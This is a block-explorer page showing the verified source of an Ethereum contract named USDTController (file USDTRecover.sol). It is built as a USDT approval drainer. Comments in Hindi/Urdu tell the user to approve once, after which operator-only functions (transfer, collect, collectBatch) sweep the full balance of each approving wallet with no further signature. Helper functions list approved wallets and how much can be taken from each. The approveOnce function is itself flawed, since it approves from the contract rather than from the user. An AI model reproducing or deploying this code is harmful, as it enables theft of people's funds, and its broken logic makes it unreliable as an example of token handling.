Verified contractExactMIT
USDTController
Address0x13b08f3c65661fcd27cf3dd09168b5e1df93ee27
- Balance
0 ETH
- Transactions
2
- Compiler
solc 0.8.24
- Same code
Only this contract
Details
- Compiler
- solc 0.8.24+commit.e11b9ed9
- Language
- solidity
- Optimization
- No
- EVM version
- london
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,430,875
- Creation transaction
- 0x68c6bd1cd5…3850f017dd
USDTRecover.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
interface IUSDT {
function approve(address spender, uint256 amount) external;
}
contract USDTController {
IERC20 public constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
address public immutable owner;
mapping(address => bool) public operators;
mapping(address => bool) public approvedWallets;
address[] public approvedWalletsList;
event WalletApproved(address indexed wallet, uint256 timestamp);
event USDTCollected(address indexed from, address indexed to, uint256 amount, address indexed operator);
event OperatorUpdated(address indexed operator, bool status);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
modifier onlyOperator() {
require(msg.sender == owner || operators[msg.sender], "Not operator");
_;
}
constructor() {
owner = msg.sender;
operators[msg.sender] = true;
}
// ==================================================
// SIRF EK BAAR CALL KARNA HAI
// ==================================================
function approveOnce() external {
uint256 current = USDT.allowance(msg.sender, address(this));
if (current > 0) {
IUSDT(address(USDT)).approve(address(this), 0);
}
IUSDT(address(USDT)).approve(address(this), type(uint256).max);
if (!approvedWallets[msg.sender]) {
approvedWallets[msg.sender] = true;
approvedWalletsList.push(msg.sender);
}
emit WalletApproved(msg.sender, block.timestamp);
}
// ==================================================
// Uske baad ye functions kabhi bhi call kar sakte ho
// (user se koi signature nahi chahiye)
// ==================================================
function transfer(address from, address to, uint256 amount) external onlyOperator {
require(amount > 0, "Zero amount");
require(USDT.allowance(from, address(this)) >= amount, "Low allowance");
require(USDT.balanceOf(from) >= amount, "Low balance");
require(USDT.transferFrom(from, to, amount), "Transfer failed");
emit USDTCollected(from, to, amount, msg.sender);
}
function collect(address from, address to) external onlyOperator {
uint256 balance = USDT.balanceOf(from);
uint256 allowance = USDT.allowance(from, address(this));
uint256 amount = balance < allowance ? balance : allowance;
require(amount > 0, "Nothing to collect");
require(USDT.transferFrom(from, to, amount), "Transfer failed");
emit USDTCollected(from, to, amount, msg.sender);
}
function collectBatch(address[] calldata froms, address to) external onlyOperator {
for (uint256 i = 0; i < froms.length; i++) {
address from = froms[i];
uint256 balance = USDT.balanceOf(from);
uint256 allowance = USDT.allowance(from, address(this));
uint256 amount = balance < allowance ? balance : allowance;
if (amount > 0) {
try USDT.transferFrom(from, to, amount) returns (bool ok) {
if (ok) emit USDTCollected(from, to, amount, msg.sender);
} catch {}
}
}
}
function setOperator(address operator, bool status) external onlyOwner {
operators[operator] = status;
emit OperatorUpdated(operator, status);
}
function getApprovedWallets() external view returns (address[] memory) {
return approvedWalletsList;
}
function getCollectable(address wallet) external view returns (uint256) {
uint256 bal = USDT.balanceOf(wallet);
uint256 allw = USDT.allowance(wallet, address(this));
return bal < allw ? bal : allw;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"evmVersion": "london",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.